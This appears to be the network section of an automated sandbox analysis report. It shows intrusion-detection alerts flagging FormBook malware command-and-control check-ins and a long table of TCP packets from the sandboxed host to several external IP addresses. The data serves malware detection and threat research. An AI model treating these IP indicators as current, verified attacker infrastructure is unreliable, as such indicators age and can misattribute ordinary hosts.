2024-11-06T15:26:14.067750+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49746	3.33.130.190	80	TCP
2024-11-06T15:26:15.732903+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49747	3.33.130.190	80	TCP
2024-11-06T15:26:18.269660+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49748	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 15:24:01.864291906 CET	49709	80	192.168.2.9	104.21.12.211
Nov 6, 2024 15:24:01.869132042 CET	80	49709	104.21.12.211	192.168.2.9
Nov 6, 2024 15:24:01.869318962 CET	49709	80	192.168.2.9	104.21.12.211
Nov 6, 2024 15:24:01.877717972 CET	49709	80	192.168.2.9	104.21.12.211
Nov 6, 2024 15:24:01.882642984 CET	80	49709	104.21.12.211	192.168.2.9
Nov 6, 2024 15:24:02.556848049 CET	80	49709	104.21.12.211	192.168.2.9
Nov 6, 2024 15:24:02.559062004 CET	80	49709	104.21.12.211	192.168.2.9
Nov 6, 2024 15:24:02.559204102 CET	49709	80	192.168.2.9	104.21.12.211
Nov 6, 2024 15:24:02.560609102 CET	49709	80	192.168.2.9	104.21.12.211
Nov 6, 2024 15:24:02.565512896 CET	80	49709	104.21.12.211	192.168.2.9
Nov 6, 2024 15:24:18.802068949 CET	49711	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:18.807054043 CET	80	49711	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:18.807121992 CET	49711	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:18.821130037 CET	49711	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:18.827852964 CET	80	49711	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:19.482367039 CET	80	49711	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:19.482549906 CET	80	49711	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:19.482615948 CET	49711	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:20.333810091 CET	49711	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:21.352313995 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:21.357573032 CET	80	49712	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:21.357686996 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:21.369060993 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:21.373965979 CET	80	49712	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:21.892896891 CET	80	49712	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:21.942981005 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:21.974509001 CET	80	49712	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:21.974672079 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:22.880502939 CET	49712	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:23.899967909 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:23.904833078 CET	80	49713	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:23.904952049 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:23.916006088 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:23.920996904 CET	80	49713	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:23.921147108 CET	80	49713	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:24.458210945 CET	80	49713	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:24.505402088 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:24.521536112 CET	80	49713	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:24.521610975 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:25.427407026 CET	49713	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:26.446255922 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:26.451241016 CET	80	49714	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:26.451371908 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:26.458911896 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:26.463999033 CET	80	49714	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:27.005317926 CET	80	49714	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:27.052258968 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:27.323347092 CET	80	49714	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:27.323549032 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:27.324496031 CET	49714	80	192.168.2.9	107.148.177.200
Nov 6, 2024 15:24:27.329386950 CET	80	49714	107.148.177.200	192.168.2.9
Nov 6, 2024 15:24:32.353245974 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:32.358918905 CET	80	49715	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:32.359035015 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:32.369950056 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:32.375411987 CET	80	49715	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:33.356750011 CET	80	49715	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:33.411644936 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:33.554573059 CET	80	49715	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:33.554636002 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:33.880681038 CET	49715	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:34.903723955 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:35.092286110 CET	80	49716	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:35.092390060 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:35.103806973 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:35.108773947 CET	80	49716	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:36.084244013 CET	80	49716	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:36.130358934 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:36.276856899 CET	80	49716	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:36.276966095 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:36.615063906 CET	49716	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:37.634320974 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:37.639478922 CET	80	49718	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:37.639544010 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:37.653387070 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:37.658237934 CET	80	49718	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:37.658461094 CET	80	49718	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:38.662420988 CET	80	49718	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:38.708714008 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:38.859896898 CET	80	49718	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:38.860003948 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:39.161740065 CET	49718	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:40.180283070 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:40.185482979 CET	80	49720	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:40.185609102 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:40.193202019 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:40.198065042 CET	80	49720	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:41.206465960 CET	80	49720	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:41.255383015 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:41.396089077 CET	80	49720	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:41.396967888 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:41.397748947 CET	49720	80	192.168.2.9	114.134.188.182
Nov 6, 2024 15:24:41.402734041 CET	80	49720	114.134.188.182	192.168.2.9
Nov 6, 2024 15:24:46.847548008 CET	49722	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:46.852453947 CET	80	49722	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:46.852551937 CET	49722	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:46.863727093 CET	49722	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:46.868593931 CET	80	49722	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:47.543051004 CET	80	49722	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:47.543145895 CET	49722	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:48.383791924 CET	49722	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:48.388724089 CET	80	49722	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:49.399130106 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:49.531605005 CET	80	49723	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:49.531881094 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:49.547384977 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:49.552884102 CET	80	49723	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:50.174226999 CET	80	49723	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:50.174436092 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:51.052773952 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:51.489780903 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:51.778347015 CET	80	49723	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:51.778363943 CET	80	49723	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:51.778445005 CET	49723	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:52.078337908 CET	49724	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:52.083246946 CET	80	49724	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:52.083376884 CET	49724	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:52.096031904 CET	49724	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:52.100883007 CET	80	49724	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:52.101052999 CET	80	49724	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:52.724071026 CET	80	49724	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:52.724241972 CET	49724	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:53.599140882 CET	49724	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:53.604240894 CET	80	49724	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:54.617825031 CET	49725	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:54.622860909 CET	80	49725	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:54.622936010 CET	49725	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:54.630412102 CET	49725	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:54.635688066 CET	80	49725	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:55.249260902 CET	80	49725	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:55.250674009 CET	80	49725	3.33.130.190	192.168.2.9
Nov 6, 2024 15:24:55.250732899 CET	49725	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:55.252110958 CET	49725	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:24:55.256927013 CET	80	49725	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:00.304714918 CET	49726	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:00.310077906 CET	80	49726	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:00.318248034 CET	49726	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:00.540606976 CET	49726	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:00.545531034 CET	80	49726	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:00.975970984 CET	80	49726	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:00.976036072 CET	49726	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:02.052414894 CET	49726	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:02.057368040 CET	80	49726	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:03.112804890 CET	49727	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:03.117988110 CET	80	49727	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:03.121146917 CET	49727	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:03.295114040 CET	49727	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:03.299988031 CET	80	49727	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:03.783922911 CET	80	49727	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:03.783987045 CET	49727	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:04.802325964 CET	49727	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:04.807399035 CET	80	49727	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:05.821702003 CET	49728	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:05.827879906 CET	80	49728	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:05.827970028 CET	49728	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:05.842241049 CET	49728	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:05.848134995 CET	80	49728	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:05.848145008 CET	80	49728	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:07.349174976 CET	49728	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:07.356448889 CET	80	49728	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:07.356503963 CET	49728	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:08.368144035 CET	49729	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:08.373051882 CET	80	49729	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:08.376759052 CET	49729	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:08.384329081 CET	49729	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:08.389085054 CET	80	49729	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:09.043984890 CET	80	49729	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:09.075371981 CET	80	49729	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:09.077085972 CET	49729	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:09.080584049 CET	49729	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:09.085727930 CET	80	49729	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:14.226803064 CET	49730	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:14.231656075 CET	80	49730	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:14.238025904 CET	49730	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:14.246622086 CET	49730	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:14.251501083 CET	80	49730	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:14.869910955 CET	80	49730	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:14.870532036 CET	49730	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:15.755418062 CET	49730	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:15.760647058 CET	80	49730	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:16.776614904 CET	49731	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:16.784287930 CET	80	49731	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:16.784420013 CET	49731	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:16.796670914 CET	49731	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:16.801625967 CET	80	49731	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:17.421021938 CET	80	49731	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:17.421142101 CET	49731	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:18.302303076 CET	49731	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:18.307570934 CET	80	49731	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:19.322299004 CET	49732	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:19.433933973 CET	80	49732	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:19.434026003 CET	49732	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:19.449297905 CET	49732	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:19.454375982 CET	80	49732	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:19.455265999 CET	80	49732	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:20.075479031 CET	80	49732	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:20.075634956 CET	49732	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:20.958527088 CET	49732	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:20.963776112 CET	80	49732	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:21.978199959 CET	49733	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:21.983160973 CET	80	49733	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:21.983248949 CET	49733	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:21.993928909 CET	49733	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:21.998859882 CET	80	49733	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:22.643054962 CET	80	49733	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:22.675105095 CET	80	49733	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:22.678684950 CET	49733	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:22.679594040 CET	49733	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:25:22.684441090 CET	80	49733	3.33.130.190	192.168.2.9
Nov 6, 2024 15:25:29.814439058 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:29.819418907 CET	80	49734	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:29.819519043 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:29.830733061 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:29.835661888 CET	80	49734	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:30.802386045 CET	80	49734	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:30.802423954 CET	80	49734	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:30.802627087 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:30.982454062 CET	80	49734	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:30.982595921 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:31.333574057 CET	49734	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:32.354500055 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:32.359472990 CET	80	49735	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:32.366516113 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:32.374515057 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:32.379506111 CET	80	49735	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:33.405502081 CET	80	49735	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:33.405550003 CET	80	49735	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:33.405592918 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:33.593851089 CET	80	49735	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:33.593910933 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:33.898341894 CET	49735	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:34.915044069 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:35.175003052 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:35.175215006 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:35.187428951 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:35.192409992 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:35.192452908 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:36.138267994 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:36.138293028 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:36.138437986 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:36.323688984 CET	80	49736	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:36.324702024 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:36.693003893 CET	49736	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:37.711628914 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:37.716727018 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:37.716820955 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:37.724565029 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:37.729615927 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:38.725339890 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:38.725709915 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:38.725832939 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:38.904649973 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:38.904804945 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:38.905699968 CET	49737	80	192.168.2.9	221.128.225.57
Nov 6, 2024 15:25:38.910571098 CET	80	49737	221.128.225.57	192.168.2.9
Nov 6, 2024 15:25:44.106240034 CET	49738	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:44.111224890 CET	80	49738	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:44.111325026 CET	49738	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:44.122391939 CET	49738	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:44.127372026 CET	80	49738	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:44.806363106 CET	80	49738	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:44.844783068 CET	80	49738	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:44.846010923 CET	49738	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:45.630558968 CET	49738	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:46.650504112 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:46.655635118 CET	80	49739	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:46.655771017 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:46.670495033 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:46.675442934 CET	80	49739	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:47.425904989 CET	80	49739	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:47.472774982 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:47.474081993 CET	80	49739	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:47.474133015 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:48.177278996 CET	49739	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:49.196047068 CET	49740	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:49.201056004 CET	80	49740	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:49.206716061 CET	49740	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:49.217700958 CET	49740	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:49.222680092 CET	80	49740	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:49.222767115 CET	80	49740	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:49.917948008 CET	80	49740	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:49.957674980 CET	80	49740	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:49.957727909 CET	49740	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:50.726468086 CET	49740	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:51.743954897 CET	49741	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:51.749311924 CET	80	49741	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:51.749389887 CET	49741	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:51.757986069 CET	49741	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:51.763025045 CET	80	49741	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:52.475783110 CET	80	49741	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:52.487488031 CET	80	49741	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:52.490839958 CET	49741	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:52.492686987 CET	49741	80	192.168.2.9	203.161.41.204
Nov 6, 2024 15:25:52.497626066 CET	80	49741	203.161.41.204	192.168.2.9
Nov 6, 2024 15:25:57.528537989 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:57.533648968 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:57.533727884 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:57.569394112 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:57.574295998 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519217014 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519237041 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519258976 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519341946 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519354105 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519367933 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.519515991 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:58.519515991 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:58.520970106 CET	80	49742	188.114.96.3	192.168.2.9
Nov 6, 2024 15:25:58.522552013 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:25:59.086460114 CET	49742	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:00.102365017 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:00.107335091 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:00.107480049 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:00.118839025 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:00.124877930 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.080662012 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.080746889 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.080760002 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.080883980 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:01.081192970 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.081206083 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.081326008 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:01.082456112 CET	80	49743	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:01.082542896 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:01.630312920 CET	49743	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:02.649055958 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:02.654010057 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:02.654123068 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:02.668396950 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:02.673305035 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:02.673424006 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584427118 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584453106 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584489107 CET	49744	80	192.168.2.9	188.114.96.3
